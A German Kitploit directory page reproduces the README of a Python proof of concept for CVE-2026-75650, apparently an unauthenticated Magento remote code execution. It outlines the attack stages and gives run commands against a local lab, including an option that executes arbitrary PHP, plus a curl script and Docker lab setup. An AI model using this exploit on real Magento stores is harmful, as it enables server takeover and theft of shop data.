Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
stylesmuggler — Python-PoC zur Reproduktion von CVE-2026-75650 StyleSmuggler, einer unauthentifizierten Magento-RCE über Report-Poisoning und Failed-Payment-Rendering, mit Canary-Verifikation. | Kitploit
Tools/GitHubGitHub/fortbridge/stylesmuggler
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsRemote-Access-Tool
GitHubfortbridge/stylesmuggler

stylesmuggler

Python-PoC zur Reproduktion von CVE-2026-75650 StyleSmuggler, einer unauthentifizierten Magento-RCE über Report-Poisoning und Failed-Payment-Rendering, mit Canary-Verifikation.

Repository anzeigen
vor 9h 27mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

StyleSmuggler HTTP PoC

Privates Forschungs-Repository für die ausschließlich HTTP-basierte Reproduktion von StyleSmuggler, CVE-2026-75650, gegen ein lokales Magento Open Source Lab.

Die vollständige technische Analyse finden Sie in Magento StyleSmuggler RCE: Report Poisoning to Code Execution.

Der Python-PoC führt die vollständige unauthentifizierte Sequenz aus:

  1. einen Magento-Fehlerbericht vergiften und dessen Report-ID aus der Antwort auslesen;
  2. einen Gast-Warenkorb erstellen;
  3. die für die Fehlzahlungs-Benachrichtigung erforderliche Gast-E-Mail setzen;
  4. die verschachtelte Konstruktion des Rechnungsadress-Parsers speichern;
  5. das Rendern der Fehlzahlung mit type, text und styles im Query-String auslösen;
  6. einen frischen Canary pro Lauf über HTTP abrufen.

Es wird niemals ein Helper in den Container kopiert oder der Scanner über Docker aufgerufen. Die Python-Standardbibliothek ist ausreichend.

Ausführung gegen ein vorhandenes Lab

root@kitploit:~
python3 exploit.py --target http://localhost:18082

Die finale Ausgabe muss und denselben frischen -Marker enthalten, der zuvor in diesem Lauf ausgegeben wurde. Ein vorhandener Canary kann die Prüfung nicht erfüllen, da jeder Lauf einen neuen Marker generiert.

RCE VERIFIED
STYLESMUGGLER_RUN_...

Der Report-Pfad muss der Pfad sein, den der Ziel-PHP-Prozess sieht. Überschreiben Sie ihn, wenn Magento ein anderes Document Root verwendet:

root@kitploit:~
python3 exploit.py \
  --target http://localhost:18082 \
  --report-dir /srv/magento/var/report

Benutzerdefiniertes PHP

Übergeben Sie PHP-Anweisungen ohne <?php oder ?>:

root@kitploit:~
python3 exploit.py \
  --target http://localhost:18082 \
  --code 'file_put_contents(getcwd()."/custom-test.txt", "PHP ".PHP_VERSION.PHP_EOL);'

curl -sS http://localhost:18082/custom-test.txt

Der PoC schreibt seinen frischen Verifikationsmarker vor der Ausführung des übergebenen Fragments und verifiziert diesen Marker danach weiterhin.

Burp

Jede Anfrage, einschließlich Report Poisoning und des finalen Canary-Abrufs, kann über einen HTTP-Proxy gesendet werden:

root@kitploit:~
python3 exploit.py \
  --target http://localhost:18082 \
  --proxy http://127.0.0.1:8082

Fügen Sie --proxy-insecure für ein HTTPS-Ziel hinzu, dessen abgefangenes Zertifikat von Python nicht als vertrauenswürdig eingestuft wird.

Manueller curl-Ablauf

curl_failed_payment.sh führt die vier Stage-2-Anfragen aus und kennzeichnet die Magento-Komponente, die von jeder Anfrage erreicht wird. Es erfordert curl, jq und openssl:

root@kitploit:~
./curl_failed_payment.sh /var/www/html/var/report/REPORT_ID

Legen Sie ein anderes Ziel oder einen Burp-Listener über Umgebungsvariablen fest:

root@kitploit:~
MAGENTO_URL=http://localhost:18082 \
BURP_PROXY=http://127.0.0.1:8082 \
./curl_failed_payment.sh /var/www/html/var/report/REPORT_ID

Lokales Ziel

docker-compose.yml stellt isolierte MySQL-, OpenSearch- und PHP/Apache- Dienste auf 127.0.0.1:18082 bereit. Es erwartet einen installierten Magento-Quellbaum unter ./magento2-src.

Die finale saubere Validierung verwendete den Magento-Commit:

root@kitploit:~
f8405be831efa461ec18cc5a637cd98afa767015

Klonen Sie die Quelle und installieren Sie deren Composer-Abhängigkeiten, bevor Sie Magentos normalen setup:install-Prozess ausführen:

root@kitploit:~
git clone --filter=blob:none --branch 2.4-develop \
  https://github.com/magento/magento2.git magento2-src
git -C magento2-src checkout f8405be831efa461ec18cc5a637cd98afa767015

docker compose build web
docker compose up -d db opensearch
docker compose run --rm web composer install --no-interaction

Nachdem Magento mit dem Datenbank-Host db, dem OpenSearch-Host opensearch und der Basis-URL http://localhost:18082/ installiert wurde, starten Sie den Web-Service:

root@kitploit:~
docker compose up -d web
docker compose ps
Tool herunterladen